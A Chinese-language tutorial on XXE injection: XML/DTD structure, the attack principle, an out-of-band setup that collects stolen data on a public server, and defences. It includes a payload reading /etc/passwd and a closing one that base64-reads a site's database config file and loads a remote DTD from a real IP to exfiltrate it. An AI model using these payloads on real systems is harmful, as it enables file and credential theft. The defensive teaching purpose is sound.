一、什么是XXE
1,本质
简单的说,就是XML外部实体注入攻击
分解一下
注入:将用户输入的内容当作代码执行
sql注入:将用户输入的内容当作sql代码执行
XML:
一种类似HTML的语言,
主要是存储传输数据的,
没有预定义标签
实体:
简单的理解为变量,可以存储一些东西
总结:XXE,就是XML引用的数据当作代码被执行,
即XML外部实体注入攻击
典型的攻击如下:
<?xml version="1.0" encoding="ISO-8859-1"> XML声明
<!DOCTYPE foo>[
<!ELEMENT foo ANY> DTD部分:实体用于定义应用普通文本或特殊字符的快捷方式的变量,,实体引用是对实体的引用,实体可在内部或外部进行声明。
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo> XML部分
定义实体必须写在DTD部分。
DTD是定义XML变量,可以实现远程调用。
二、XML结构
什么是xml
实际就是储存数据的。
什么是XML?
1.XML指可扩展标记语言
2.XML是一种标记语言,很类似HTML。
3.XML的设计宗旨是传输数据,而非显示数据
4.XML标签没有被预定义,需要自行定义标签。
5.XML被设计为具有自我描述性。
6.XML是W3C的推荐标准。
特点:
1.XML仅仅是纯文本,它不会做任何事情。
2.XML可以自己发明标签(允许定义自己的标签和文档结构)
3.XML无所不在,XML是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行
1,结构:
第一部分是声明,主要定义XML使用版本和使用编码
第二部分是DTD部分,主要是约束作用,简单的说,给内容部分定规矩
DTD约束的三种形式即:
内部DTD:<!DOCTYPE 根节点 [DTD的代码]>
外部DTD:<!DOCTYPE 根节点 "DTD的地址">
网络DTD:<!DOCTYPE 根节点 PUBLIC "DTD的名称" "DTD的地址">
第三部分是内容
2,直接上例子:
//外部DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE书架 SYSTEM "book.dtd">
<书架>
<书>
<书名>葵花宝典</书名>
<作者>东方不败</作者>
<售价>88.00元</售价>
</书>
</书架>
//内部DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 书架 [
<!ELEMENT 书架 (书+)>
<!ELEMENT 书 (书名,作者,售价)>
<!ELEMENT 书名 (#PCDATA)>
<!ELEMENT 作者 (#PCDATA)>
<!ELEMENT 售价 (#PCDATA)>
]>
<书架>
<书>
<书名>葵花宝典</书名>
<作者>东方不败</作者>
<售价>88.00元</售价>
</书>
。。。
</书架>
三、XXE原理
1,工具过程原理
DTD部分去读取敏感的信息
将读取到的信息赋值到实体当中 //实体名字随便起
XML部分使用的过程中,将实体内容输出
2,补充
XML本身没有危害,他就是一个存储数据的;但是在一些动态语言脚本里边,
例如:php中,它可以利用simplexml_load_string函数,将XML转化为对象
注:Java中什么是类?什么是对象?
~类就是具备某些共同特征的实体的集合
~对象就是一个真实世界中的物体
举例:
“人”就是一个类,他有吃饭、睡觉的属性,
而张三这个人,就是“人”这个类的对象
3,不足及解决
很多时候后端语言解析了XML后其实并不会给你输出,
难道这样子我们就不能进行XXE了?
办法:
我们可以使用一个类型接收平台一样的接收器。
XML读取数据然后发送到接受的平台,然后接受平台存储,
我们再去接受平台查看就可以了。
很类似反弹注入
步骤:
公网上建一个web环境 [1.xml 2.php 3.txt]
1.xml 负责 读取我们想要的内容
2.php 负责收集1.xml的传参,并将参数内容保存到3.txt中
3.txt 保存传参数据,方便我们查看
四、实战注意
1,
黑盒比较难挖掘
白盒审计较容易
平时挖掘src时,比较少
但是,扫描器漏扫一些网站较为容易扫出
2,危害
~读取任意文件
~执行系统命令
~探测内网端口
~攻击内网网站
~导致DDos攻击
3,防御
~使用开发语言提供的禁用外部实体的方法
如:PHP:
libxml_disable_loader(ture);
其他语言:
https://owasp.org/www-project-cheat-sheets/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
~过滤用户提交的XML数据
关键词:SYSTEM和PUBLIC
XXE-防御:
方案一:
使用开发语言提供的禁用外部实体的方法。
php:libxml_disable_entity_loader(true);
方案二:
过滤用户提交的xml数据
关键词:不允许出现SYSTEM和PUBUC。
攻击代码
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8014/xxe/1.xml">
%remote;
%send;
]>